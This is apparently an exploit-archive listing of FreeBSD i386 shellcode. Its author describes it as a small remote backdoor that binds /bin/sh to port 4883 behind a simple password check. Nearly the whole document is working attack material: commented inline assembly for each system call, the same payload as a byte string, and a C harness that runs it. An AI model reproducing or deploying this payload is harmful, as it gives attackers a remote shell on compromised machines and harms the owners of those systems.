freebsd/x86 portbind 4883 with auth shellcode

=============================================
freebsd/x86 portbind 4883 with auth shellcode
=============================================





/*
THE ZUGCODE - SMALL REMOTE 6ACKD0R
FreeBSD i386 bind shell with auth
code by MahDelin
Big thx SST [kaka, nolife, white]
Listen on the port 4883 the /bin/sh
*/

/*
void zugcode(void )
{
//socket
__asm__("xorl     %eax,  %eax");
__asm__("pushl    %eax");
__asm__("pushl    %eax");
__asm__("pushl    $0x01");
__asm__("pushl    $0x02");
__asm__("movl     %esp,  %ebp");
__asm__("pushl    %ebp");
__asm__("movb     $0x61, %al");
__asm__("int      $0x80");

//struct sockaddr_in
__asm__("movl     %eax,    %edi");
__asm__("xorl     %eax,    %eax");
__asm__("movb     $0x02,   9(%ebp)");
__asm__("movw     $0x1313, 10(%ebp)");
__asm__("movl     %eax,    12(%ebp)");
__asm__("leal     8(%ebp), %ecx");

//bind
__asm__("xor      %ebx,%ebx");
__asm__("movb     $0x10,%bl");
__asm__("push     %ebx");
__asm__("push     %ecx");
__asm__("push     %edi");
__asm__("push     %eax");
__asm__("movb     $0x68, %al");
__asm__("int      $0x80");

//listen
__asm__("xor      %eax, %eax");
__asm__("pushl    %eax");
__asm__("pushl    $0x01");
__asm__("pushl    %edi");
__asm__("pushl    %eax");
__asm__("movb     $0x6a, %al");
__asm__("int      $0x80");

//accept
__asm__("xor      %eax, %eax");
__asm__("push     %ebx");
__asm__("pushl    %eax");
__asm__("pushl    %eax");
__asm__("pushl    %edi");
__asm__("pushl    %eax");
__asm__("movb     $0x1e, %al");
__asm__("int      $0x80");

__asm__("mov      %eax, %esi");
__asm__("xor       %eax, %eax");
__asm__("pushl     $0x203a7465");
__asm__("pushl     $0x72636573");
__asm__("movl      %esp, %ebx");
__asm__("push      %eax");
__asm__("push      $0x8");
__asm__("pushl     %ebx");
__asm__("push      %esi");
__asm__("xor       %eax, %eax");
__asm__("push      %eax");
__asm__("movb     $0x65, %al");
__asm__("int      $0x80");

//rcev password
__asm__("xor      %eax, %eax");
__asm__("pushl    %ebp");
__asm__("movl     %esp, %ebp");
__asm__("movb     $0x20, %al");
__asm__("subl     %eax,  %esp");
__asm__("xor      %eax, %eax");
__asm__("push     %eax");
__asm__("mov      $0x80, %al");
__asm__("push     %eax");
__asm__("xor      %eax, %eax");
__asm__("push     %ebp");
__asm__("push     %esi");
__asm__("push     %eax");
__asm__("movb     $0x66, %al");
__asm__("int      $0x80");

//compare password
//save registers %esi, %edi
__asm__("mov     %edi, %ebx");
__asm__("mov     %esi, %edx");
__asm__("mov     %eax, %ecx");
__asm__(".word    0x50eb");
__asm__("pop      %esi");
__asm__("mov      %ebp,     %edi");
__asm__("repe    cmpsb");
__asm__(".word    0x4275");
__asm__("mov     %ebx, %edi");
__asm__("mov     %edx, %esi");

//dup2 stdin
__asm__("xorl     %eax,  %eax");
__asm__("pushl    %eax");
__asm__("pushl    %esi");
__asm__("pushl    %eax");
__asm__("movb     $0x5a, %al");
__asm__("int      $0x80");

//dup2 stdout
__asm__("xorl     %eax,  %eax");
__asm__("inc      %eax");
__asm__("pushl    %eax");
__asm__("pushl    %esi");
__asm__("xorl     %eax,  %eax");
__asm__("pushl    %eax");
__asm__("movb     $0x5a, %al");
__asm__("int      $0x80");

//dup2 stderr
__asm__("xorl     %eax,  %eax");
__asm__("add      $0x2,  %eax");
__asm__("pushl    %eax");
__asm__("pushl    %esi");
__asm__("xorl     %eax,  %eax");
__asm__("pushl    %eax");
__asm__("movb     $0x5a, %al");
__asm__("int      $0x80");

// /bin/sh
__asm__("xor      %ecx, %ecx");
__asm__("pushl    %ecx");
__asm__("pushl    $0x68732f2f");
__asm__("pushl    $0x6e69622f");
__asm__("movl     %esp, %ebx");
__asm__("pushl    %ecx");
__asm__("pushl    %ebx");
__asm__("movl     %esp, %edx");
__asm__("pushl    %ecx");
__asm__("pushl    %edx");
__asm__("pushl    %ebx");
__asm__("pushl    %ecx");
__asm__("movb     $0x3b, %al");
__asm__("int      $0x80");

//exit
__asm__("xorl     %eax,  %eax");
__asm__("inc      %eax");
__asm__("pushl    %eax");
__asm__("pushl    %eax");
__asm__("int      $0x80");

__asm__(".byte  0xe8");
__asm__(".long  0xffffffab");
__asm__(".asciz \"payhash\12\"");
}
*/

unsigned char zug[] =
"\x31\xc0\x50\x50\x6a\x01\x6a\x02\x89\xe5\x55\xb0\x61\xcd\x80\x89\xc7\x31"
"\xc0\xc6\x45\x09\x02\x66\xc7\x45\x0a\x13\x13\x89\x45\x0c\x8d\x4d\x08\x31"
"\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80\x31\xc0\x50\x6a\x01\x57\x50"
"\xb0\x6a\xcd\x80\x31\xc0\x53\x50\x50\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31"
"\xc0\x68\x65\x74\x3a\x20\x68\x73\x65\x63\x72\x89\xe3\x50\x6a\x08\x53\x56"
"\x31\xc0\x50\xb0\x65\xcd\x80\x31\xc0\x55\x89\xe5\xb0\x20\x29\xc4\x31\xc0"
"\x50\xb0\x80\x50\x31\xc0\x55\x56\x50\xb0\x66\xcd\x80\x89\xfb\x89\xf2\x89"
"\xc1\xeb\x50\x5e\x89\xef\xf3\xa6\x75\x42\x89\xdf\x89\xd6\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x40\x50\x56\x31\xc0\x50\xb0\x5a\xcd\x80\x31"
"\xc0\x83\xc0\x02\x50\x56\x31\xc0\x50\xb0\x5a\xcd\x80\x31\xc9\x51\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe2\x51\x52\x53\x51"
"\xb0\x3b\xcd\x80\x31\xc0\x40\x50\x50\xcd\x80\xe8\xab\xff\xff\xff\x70\x61"
"\x79\x68\x61\x73\x68\x0a";

main()
{
int (*zugcode)();
printf("shellcode len, %d bytes\n", strlen(zug));
zugcode = (int (*)()) zug;
(int)(*zugcode)();
}



#  0day.today [2018-01-01]  #